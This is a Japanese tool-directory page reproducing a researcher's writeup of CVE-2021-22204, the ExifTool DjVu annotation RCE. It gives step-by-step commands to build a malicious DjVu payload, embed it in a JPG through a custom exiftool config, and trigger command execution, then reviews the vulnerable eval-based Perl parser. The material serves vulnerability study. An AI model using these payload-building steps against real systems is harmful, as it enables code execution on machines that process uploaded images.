Skip to content
KitploitKITPLOIT
ツールブログ
Log in
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-22204 — CVE-2021-22204 (ExifTool RCE) の詳細な技術分析:PoC再現、ペイロード構築、脆弱なDjVu注釈パーサーのPerlコードレビュー。 | Kitploit
ツール/GitHubGitHub/trganda/cve-2021-22204
脆弱性分析コード分析エクスプロイト論文と研究学習と教育バイナリエクスプロイト
GitHubtrganda/cve-2021-22204

CVE-2021-22204

CVE-2021-22204 (ExifTool RCE) の詳細な技術分析:PoC再現、ペイロード構築、脆弱なDjVu注釈パーサーのPerlコードレビュー。

リポジトリを見る
3104年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

ExifTool リモートコード実行脆弱性

これはCVE-2021-22204の分析記事になるはずでしたが、むしろ私のメモ帳のようなもので、多くの散らかったものが詰まっています。脆弱性分析記事としてはちょっと余計な話が多いですが、それでも多くのことを学びました。

正直なところ、このツールを使ったことは一度もなく、Perlという言語にもほとんど触れたことがありませんでした。そのため、分析や再現の過程で疑問符だらけでした。分析を始める前に、インターネットで公開されているPoCと、私が抱いた疑問を見てみましょう。

POC - convisolabs

読んだ記事の一つは[1]で、脆弱性の原因について簡潔に説明していますが、私はPerlのコードが読めないため、多くの点が不明でした。その再現手順は以下の通りです。

exiftool 12.23をダウンロード

wget https://codeload.github.com/exiftool/exiftool/zip/refs/tags/12.23 -O exiftool-12.23.zip

解凍してインストール

$ unzip exiftool-12.23.zip && cd exiftool-12.23
$ perl Makefile.PL
$ make test
$ sudo make install

もちろん、インストールしたくない場合は、exiftool-12.23ディレクトリ内のexiftoolファイルを環境変数PATHの通っているディレクトリに配置するだけでも、exiftoolツールを使えます。Perlは解釈型言語であり、Pythonと似ているからです。

悪意のある画像を作成するために、まず必要なツールをインストール

$ sudo apt-get update
$ sudo apt-get install djvulibre-bin

以下のコマンドを実行して悪意のあるdjvuファイルを作成

$ echo "(metadata \"\\\\c\${system('id')};\")" > payload
# これが最も困惑した点で、なぜ圧縮が必要なのか理解できませんでした(他のPoCでは不要だったため)
$ bzz payload payload.bzz
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = 'N,N'形式の任意の数字
# BGjp = JPEG画像を期待するが、/dev/nullを使用して背景画像をなしにできる
# ANTz = 入力ファイルで圧縮されたアノテーションチャンクを書き込む

次に、exiftoolツールでこの悪意のあるファイルを解析すると、idコマンドが正常に実行されたことがわかります

$ exiftool exploit.jdvu
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number         : 12.23
File Name                       : exploit.djvu
Directory                       : .
File Size                       : 88 bytes
File Modification Date/Time     : 2021:11:02 21:55:23+08:00
File Access Date/Time           : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time     : 2021:11:02 21:55:23+08:00
File Permissions                : -rwxrwxrwx
File Type                       : DJVU
File Type Extension             : djvu
MIME Type                       : image/vnd.djvu
Image Width                     : 1
Image Height                    : 1
DjVu Version                    : 0.24
Spatial Resolution              : 300
Gamma                           : 2.2
Orientation                     : Horizontal (normal)
Image Size                      : 1x1
Megapixels                      : 0.000001

先ほどdjvumakeコマンドでdjvu形式ファイルを作成する際に、payloadを圧縮しなくてもよいのでしょうか?分析の観点からは、確認やテストが不便だからです。もちろん可能で、パラメータANTzをANTaに変更するだけです。ここでのANTzとANTaについてはexiftoolの説明ドキュメント[3]を参照できますが、具体的な意味はまだ見つけられていません。標準的な説明が見つからなかったからです。

ここで愚痴を言いたいのですが、man djvumakeでパラメータの説明を確認しようとしたところ、ANTzとANTaの説明はまったくありませんでした。ドキュメントの日付は2001年で、長い間更新されていないようです。

Tag IDTag NameWritable
'ANTa'ANTa-
'ANTz'CompressedAnnotation-

ANTaはdjvuファイル内のmetadataにAnnotationを平文で保存することを示し、ANTzはbzz圧縮形式です。

しかし、djvu形式のファイルはあまり一般的ではありません。特に画像アップロード機能のあるWebサイトでは、ほとんどの場合png/jpg/jpegファイルのみを受け付けます。そのため、悪意のあるdjvuファイルをjpgファイルに変換できれば理想的です。

exiftoolツールは画像の内容を変更するのに役立ちます。悪意のあるdjvuファイルをjpgファイルの適切な位置に挿入するだけでよいのです。具体的にどの位置か、なぜその位置でよいのかは、後で分析する際に説明します。

exiftool設定ファイル eval.config を作成

%Image::ExifTool::UserDefined = (
    # All EXIF tags are added to the Main table, and WriteGroup is used to
    # specify where the tag is written (default is ExifIFD if not specified):
    'Image::ExifTool::Exif::Main' => {
        # Example 1.  EXIF:NewEXIFTag
        # 0xc51b は Tag 'HasselbladExif'[6] に対応
        0xc51b => {
            # 名前は自由に指定可能。これが受け取るパラメータ名
            Name => 'HasselbladExif',
            # 書き込み可能な変数の型
            Writable => 'string',
            # 書き込まれるデータが属する metadata の Group[7]
            WriteGroup => 'IFD0',
        },
        # add more user-defined EXIF tags here...
    },
);
1; #end

exiftool設定ファイルの書き方については[4][5]を参照してください。次に、普通のjpg画像ファイル poc.jpg を用意し、以下のコマンドを実行します

$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' poc.jpg

再びexiftoolでpoc.jpgを解析すると、コマンドが正常に実行されます

$ exiftool poc.jpg
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number         : 12.23
File Name                       : exploit.djvu
Directory                       : .
File Size                       : 88 bytes
File Modification Date/Time     : 2021:11:02 21:55:23+08:00
File Access Date/Time           : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time     : 2021:11:02 21:55:23+08:00
File Permissions                : -rwxrwxrwx
File Type                       : DJVU
File Type Extension             : djvu
MIME Type                       : image/vnd.djvu
Image Width                     : 1
Image Height                    : 1
DjVu Version                    : 0.24
Spatial Resolution              : 300
Gamma                           : 2.2
Orientation                     : Horizontal (normal)
Image Size                      : 1x1
Megapixels                      : 0.000001

脆弱性分析

以下の分析は[2]の内容を参考にしています。脆弱性の影響を受けるバージョンはexiftool < 12.24で、問題のファイルは

lib/Image/ExifTool/DjVu.pm (line 202)

関連する関数のコードは以下の通りです

#------------------------------------------------------------------------------
# Parse DjVu annotation "s-expression" syntax (recursively)
# Inputs: 0) data ref (with pos($$dataPt) set to start of annotation)
# Returns: reference to list of tokens/references, or undef if no tokens,
#          and the position in $$dataPt is set to end of last token
# Notes: The DjVu annotation syntax is not well documented, so I make
#        a number of assumptions here!
sub ParseAnt($)
{
    my $dataPt = shift;
    my (@toks, $tok, $more);
    # (the DjVu annotation syntax really sucks, and requires that every
    # single token be parsed in order to properly scan through the items)
Tok: for (;;) {
        # find the next token
        last unless $$dataPt =~ /(\S)/sg;   # get next non-space character
        if ($1 eq '(') {       # start of list
            $tok = ParseAnt($dataPt);
        } elsif ($1 eq ')') {  # end of list
            $more = 1;
            last;
        } elsif ($1 eq '"') {  # quoted string
            $tok = '';
            for (;;) {
                # get string up to the next quotation mark
                # this doesn't work in perl 5.6.2! grrrr
                # last Tok unless $$dataPt =~ /(.*?)"/sg;
                # $tok .= $1;
                my $pos = pos($$dataPt);
                last Tok unless $$dataPt =~ /"/sg;
                $tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
                # we're good unless quote was escaped by odd number of backslashes
                last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
                $tok .= '"';    # quote is part of the string
            }
            # must protect unescaped "$" and "@" symbols, and "\" at end of string
            $tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
            # convert C escape sequences (allowed in quoted text)
            $tok = eval qq{"$tok"};
        } else {                # key name
            pos($$dataPt) = pos($$dataPt) - 1;
            # allow anything in key but whitespace, braces and double quotes
            # (this is one of those assumptions I mentioned)
            $tok = $$dataPt =~ /([^\s()"]+)/sg ? $1 : undef;
        }
        push @toks, $tok if defined $tok;
    }
    # prevent further parsing unless more after this
    pos($$dataPt) = length $$dataPt unless $more;
    return @toks ? \@toks : undef;
}

Perl言語に触れたことがなく、正直なところこのコードが何をしているのかほとんど理解できませんでした。しかし、非常に丁寧なコメントがあるおかげで、この関数の機能を理解する助けになりました。関数のコメントから、この関数はdjvuファイル内のアノテーションデータを解析するためのものであり、コードの構造から再帰的に処理され、アノテーションデータは()で区切られていることがわかります。

Perl 正規表現

コードを理解しやすくするために、また学習の目的も兼ねて、ここでPerlの正規表現の使い方を簡単に紹介します。

Perlの正規表現の使い方は特殊で、これまで私が触れてきた言語とは異なります。Perlの正規表現には3つの形式があります:

  • マッチ m//、mは省略可能
  • 置換 s///
  • 変換 tr///
ツールをダウンロード